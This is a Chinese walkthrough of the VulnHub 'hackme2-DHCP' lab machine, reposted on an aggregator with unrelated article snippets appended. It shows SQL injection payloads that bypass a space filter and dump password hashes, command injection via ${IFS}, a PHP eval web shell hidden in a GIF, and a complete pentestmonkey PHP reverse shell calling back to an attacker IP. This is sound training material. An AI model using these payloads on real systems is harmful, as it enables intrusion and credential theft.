vulnhub----hackme2-DHCP靶机

文章目录

  • 一,信息收集
    • 1.网段探测
    • 2.端口扫描
    • 3.目录扫描
  • 二,信息分析
  • 三,sql注入
    • 1.判断SQL注入
    • 2.查询显示位
    • 3.查询注入点
    • 4.查询库
    • 5.查询表
    • 6.查字段
    • 7. 查user表中的值
    • 8.登陆superadmin用户
  • 四,漏洞利用
    • 文件上传
    • 命令执行
    • 蚁剑连接
  • 五,反弹shell
    • 1.上传php木马文件
    • 2.本地监听
  • 六,提权

一,信息收集

1.网段探测

┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:10:3c:9b, IPv4: 192.168.163.28
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.163.152 d2:a6:97:bb:46:9d       (Unknown: locally administered)
192.168.163.193 00:0c:29:01:34:57       VMware, Inc.
192.168.163.209 7c:b5:66:a5:f0:a5       Intel Corporate3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 1.946 seconds (131.55 hosts/sec). 3 responded

2.端口扫描

┌──(root㉿kali)-[~]
└─# nmap -Pn 192.168.163.193              
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-26 00:43 EST
Nmap scan report for 192.168.163.193
Host is up (0.00056s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:01:34:57 (VMware)Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds
┌──(root㉿kali)-[~]
└─# nmap -sV -sC -p- 192.168.163.193      
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-26 00:43 EST
Nmap scan report for 192.168.163.193
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.7p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6ba824d6092fc99a8eabbc6e7d4eb9ad (RSA)
|   256 abe84f5338062c6af392e3974a0e3ed1 (ECDSA)
|_  256 327690b87dfca4326310cd676149d6c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.34 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.34 (Ubuntu)
MAC Address: 00:0C:29:01:34:57 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.60 seconds

3.目录扫描

┌──(root㉿kali)-[~]
└─# dirsearch -u "http://192.168.163.193" -x 403,404,500_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460Output File: /root/reports/http_192.168.163.193/_24-02-26_00-44-22.txtTarget: http://192.168.163.193/[00:44:22] Starting: 
[00:44:41] 200 -    0B  - /config.php                                       
[00:44:51] 200 -  527B  - /login.php                                        
[00:44:52] 302 -    0B  - /logout.php  ->  login.php                        
[00:45:01] 200 -  594B  - /register.php                                     
[00:45:09] 301 -  320B  - /uploads  ->  http://192.168.163.193/uploads/     Task Completed
┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u "http://192.168.163.193"    
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.163.193
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 320] [--> http://192.168.163.193/uploads/]
/server-status        (Status: 403) [Size: 303]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished

二,信息分析

访问http://192.168.163.193/login.php,是一个登陆页面,弱密码进不去
在这里插入图片描述
通过目录扫描,访问扫http://192.168.163.193//register.php,是一个注册页面,注册账号登陆试试
在这里插入图片描述

登陆后,发现是一个查询的页面,猜测有sql注入,不输入任何数据,出现表单
在这里插入图片描述

三,sql注入

我是用抓包形式,进行sql注入,个人认为比较方便

1.判断SQL注入

在OSINT后加一个',页面不显示,任何东西,说明有sql注入
在这里插入图片描述在这里插入图片描述在查显示位,猜测有空格过滤
在这里插入图片描述

2.查询显示位

空格过滤
/**/

在这里插入图片描述
在这里插入图片描述

3.查询注入点

search=-OSINT'/**/union/**/select/**/1,2,3#

在这里插入图片描述

4.查询库

search=-OSINT'/**/union/**/select/**/1,2,database()#
在这里插入图片描述

5.查询表

search=OSINT'/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema='webapphacking'#

在这里插入图片描述

6.查字段

OSINT'/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name='users'#

在这里插入图片描述

7. 查user表中的值

search=OSINT'/**/union/**/select/**/group_concat(user,":",pasword),2,3/**/from/**/users#

在这里插入图片描述

user1:5d41402abc4b2a76b9719d911017c592,
user2:6269c4f71a55b24bad0f0267d9be5508,
user3:0f359740bd1cda994f8b55330c86d845,
test:05a671c66aefea124cc08b76ea6d30bb,
superadmin:2386acb2cf356944177746fc92523983,
test1:05a671c66aefea124cc08b76ea6d30bb,
admin:e64b78fc3bc91bcbc7dc232ba8ec59e0,
asd:e64b78fc3bc91bcbc7dc232ba8ec59e0

https://www.somd5.com/
在这里插入图片描述

superadmin/Uncrackable

8.登陆superadmin用户

在这里插入图片描述

四,漏洞利用

文件上传

白名单

在这里插入图片描述

命令执行

在last name中,发现执行点
在这里插入图片描述

在这里插入图片描述

空格过滤
system('cat${IFS}/etc/passwd')
system('cat$IFS$1/etc/passwd')

在这里插入图片描述查看uploads目录,因为uploads只能上传图片格式的文件,所有我们上传恶意的图片,然后通过命令执行更改后缀名
在这里插入图片描述

system('ls${IFS}-al${IFS}/var/www/html/uploads')

在这里插入图片描述

year2020这个是上传的目录
system('ls${IFS}-al${IFS}/var/www/html/uploads/year2020')

在这里插入图片描述

上传恶意的图片GIF89a
<?php @eval($_POST['c']);?>

在这里插入图片描述

修改后缀
system('mv${IFS}/var/www/html/uploads/year2020/1.jpg${IFS}/var/www/html/uploads/year2020/1.php')
执行成功后,查看

在这里插入图片描述

访问
http://192.168.163.193/uploads/year2020/1.php

在这里插入图片描述

蚁剑连接

在这里插入图片描述

五,反弹shell

1.上传php木马文件

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.netset_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.163.209';
$port = 6666;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;if (function_exists('pcntl_fork')) {$pid = pcntl_fork();if ($pid == -1) {printit("ERROR: Can't fork");exit(1);}if ($pid) {exit(0);  // Parent exits}if (posix_setsid() == -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;
} else {printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}chdir("/");umask(0);// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {printit("$errstr ($errno)");exit(1);
}$descriptorspec = array(0 => array("pipe", "r"),  // stdin is a pipe that the child will read from1 => array("pipe", "w"),  // stdout is a pipe that the child will write to2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);
}stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);}
}fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);function printit ($string) {if (!$daemon) {print "$string\n";}
}?>

在这里插入图片描述

2.本地监听

在这里插入图片描述

六,提权

呃,这个提权。。。。。。。。。。。
在legacy目录下有一个可执行文件,直接执行,就是root权限

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/704920.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【深入理解设计模式】桥接设计模式

桥接设计模式 桥接设计模式是一种结构型设计模式&#xff0c;它旨在将抽象部分与实现部分分离&#xff0c;使它们可以独立变化&#xff0c;从而更好地管理复杂性。桥接模式通常涉及多个层次的抽象&#xff0c;其中一个层次&#xff08;通常称为"抽象"&#xff09;依…

防御保护----内容安全

八.内容安全--------------------------。 IAE引擎&#xff1a; IAE引擎里面的技术&#xff1a;DFI和DPI技术--- 深度检测技术 DPI --- 深度包检测技术--- 主要针对完整的数据包&#xff08;数据包分片&#xff0c;分段需要重组&#xff09;&#xff0c;之后对 数据包的内容进行…

【leetcode热题】三角形最小路径和

难度&#xff1a; 中等通过率&#xff1a; 37.6%题目链接&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 题目描述 给定一个三角形&#xff0c;找出自顶向下的最小路径和。每一步只能移动到下一行中相邻的结点上。 例如&#xff0c;给定三角形&#xff1a; [[2],[3…

goland配置新增文件头

参考&#xff1a; goland函数注释生成插件 goland函数注释生成插件_goland自动加函数说明-CSDN博客 GoLand 快速添加方法注释 GoLand 快速添加方法注释_goland批量注释-CSDN博客 goland 如何设置头注释&#xff0c;自定义author和data goland 如何设置头注释&#xff0c;自定…

Web JavaScript

目录 1 前言2 原生js常见用法2.1 弹窗操作2.2 for循环操作2.3 打印日志操作2.4 获取页面值操作2.5 判空操作2.6 修改页面内容操作2.7 网页版计算器制作 3 外部js常见用法4 总结 1 前言 JavaScript 是一种脚本&#xff0c;一门编程语言&#xff0c;它可以在网页上实现复杂的功能…

事件循环解析

浏览器的进程模型 何为进程&#xff1f; 程序运行需要有它自己专属的内存空间&#xff0c;可以把这块内存空间简单的理解为进程 每个应用至少有一个进程&#xff0c;进程之间相互独立&#xff0c;即使要通信&#xff0c;也需要双方同意。 何为线程&#xff1f; 有了进程后&…

8.网络游戏逆向分析与漏洞攻防-游戏网络架构逆向分析-游戏底层功能对接类GameProc的实现

内容参考于&#xff1a;易道云信息技术研究院VIP课 上一个内容&#xff1a;通过逆向分析确定游戏明文接收数据过程 码云地址&#xff08;master 分支&#xff09;&#xff1a;https://gitee.com/dye_your_fingers/titan 码云版本号&#xff1a;bcf7559184863febdcad819e48aa…

python number类型中的各种数学函数

python中的数学函数 函数返回值 ( 描述 )abs(x)返回数字的绝对值&#xff0c;如abs(-10) 返回 10ceil(x)返回数字的上入整数&#xff0c;如math.ceil(4.1) 返回 5cmp(x, y)如果 x < y 返回 -1, 如果 x y 返回 0, 如果 x > y 返回 1。Python 3 已废弃&#xff0c;使用 (…

QT信号槽实现分析

1.宏定义 qt中引入了MOC来反射&#xff0c;编译阶段变成 MOC–>预处理–>编译–>汇编–>链接 1-1、Q_OBJECT 这个宏定义了一系列代码&#xff0c;包括元对象和处理的函数 #define Q_OBJECT \public: \QT_WARNING_PUSH \Q_OBJECT_NO_OVERRIDE_WARNING \static c…

如何学习Arduino单片机

&#xff08;本文为简单介绍&#xff0c;内容源于网络&#xff09; 学习Arduino相关的网址和开源社区&#xff1a; Arduino官方文档: Arduino - HomeArduino Forum: Arduino ForumArduino Playground: Arduino Playground - HomePageGitHub: GitHub: Let’s build from here …

AE电源Apex Generator 系列5708009-C 使用说明 文件内容可以看目录,包含使用,调试,安装等内容都有160页

AE电源Apex Generator 系列5708009-C 使用说明 文件内容可以看目录&#xff0c;包含使用&#xff0c;调试&#xff0c;安装等内容都有160页

2.26 Qt day4+5 纯净窗口移动+绘画事件+Qt实现TCP连接服务+Qt实现连接数据库

思维导图 Qt实现TCP连接 服务器端&#xff1a; widget.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include<QTcpServer>//服务器端类 #include<QTcpSocket>//客户端类 #include<QMessageBox>//消息对话框类 #include<QList>//链…

亿道丨三防平板丨手持平板丨加固平板丨助力地震救援

自土耳其发生7.8级大地震以来&#xff0c;一直都牵动着世人的心。2023年2月10日&#xff0c;据法新社最新消息&#xff0c;强震已造成土耳其和叙利亚两国超2万人遇难。报道称&#xff0c;相关官员和医护人员表示&#xff0c;地震造成土耳其17674人死亡&#xff0c;叙利亚则有33…

Nginx+Tomcat实现动静分离

文章目录 一.动静分离的原理及架构1.1 动静分离是什么&#xff1f;1.2 动静分离的原理1.3 动静分离的架构组成 二.NginxTomcat实现动静分离2.1实验环境2.2所需软件环境2.3nginx服务的实现2.4配置动静分离 一.动静分离的原理及架构 1.1 动静分离是什么&#xff1f; 动静分离(S…

Nginx的核心配置指令及调优

目录 Nginx 核心配置指令 一、Nginx配置文件详解 1、配置文件目录 2、配置文件结构 二、调优 1、在全局域进行的调优 1.1线程池指令 1.2 工作进程数指令 1.3工作进程优先级指令 1.4 工作进程 CPU 绑定指令 1.5 调试可打开的文件个数 1.6 调试文件大小指令 1.7 只运…

FL Studio Fruity Edition2024中文入门版Win/Mac

FL Studio Fruity Edition2024是一款功能强大的音乐制作软件&#xff0c;适合初学者和音乐爱好者使用。它提供了丰富的音乐制作工具&#xff0c;包括音频录制、编辑、混音以及MIDI制作等功能&#xff0c;帮助用户轻松创作出动人的音乐作品。 FL Studio 21.2.3 Win-安装包下载如…

《数据治理简易速速上手小册》第1章 数据治理概述(2024 最新版)

文章目录 1.1 数据治理的定义与重要性1.1.1 基础知识1.1.2 重点案例&#xff1a;客户数据分析1.1.3 拓展案例 1&#xff1a;库存管理系统1.1.4 拓展案例 2&#xff1a;合规性数据报告 1.2 数据治理的发展历程1.2.1 基础知识1.2.2 重点案例&#xff1a;电商平台的用户数据管理1.…

苍穹外卖 -- day10- Spring Task- 订单状态定时处理- WebSocket- 来单提醒- 客户催单

苍穹外卖-day10 功能实现&#xff1a;订单状态定时处理、来单提醒和客户催单 订单状态定时处理&#xff1a; 来单提醒&#xff1a; 客户催单&#xff1a; 1. Spring Task 1.1 介绍 Spring Task 是Spring框架提供的任务调度工具&#xff0c;可以按照约定的时间自动执行某个代…

稀疏表示分类(Sparse Representation for Classification,SRC)

稀疏表示分类&#xff08;Sparse Representation for Classification&#xff0c;简称SRC&#xff09;是一项在模式识别和信号处理中应用广泛的技术。它基于这样一个概念&#xff1a;一个信号&#xff08;比如图像、语音等&#xff09;可以用一个较大的字典中的一些基向量稀疏地…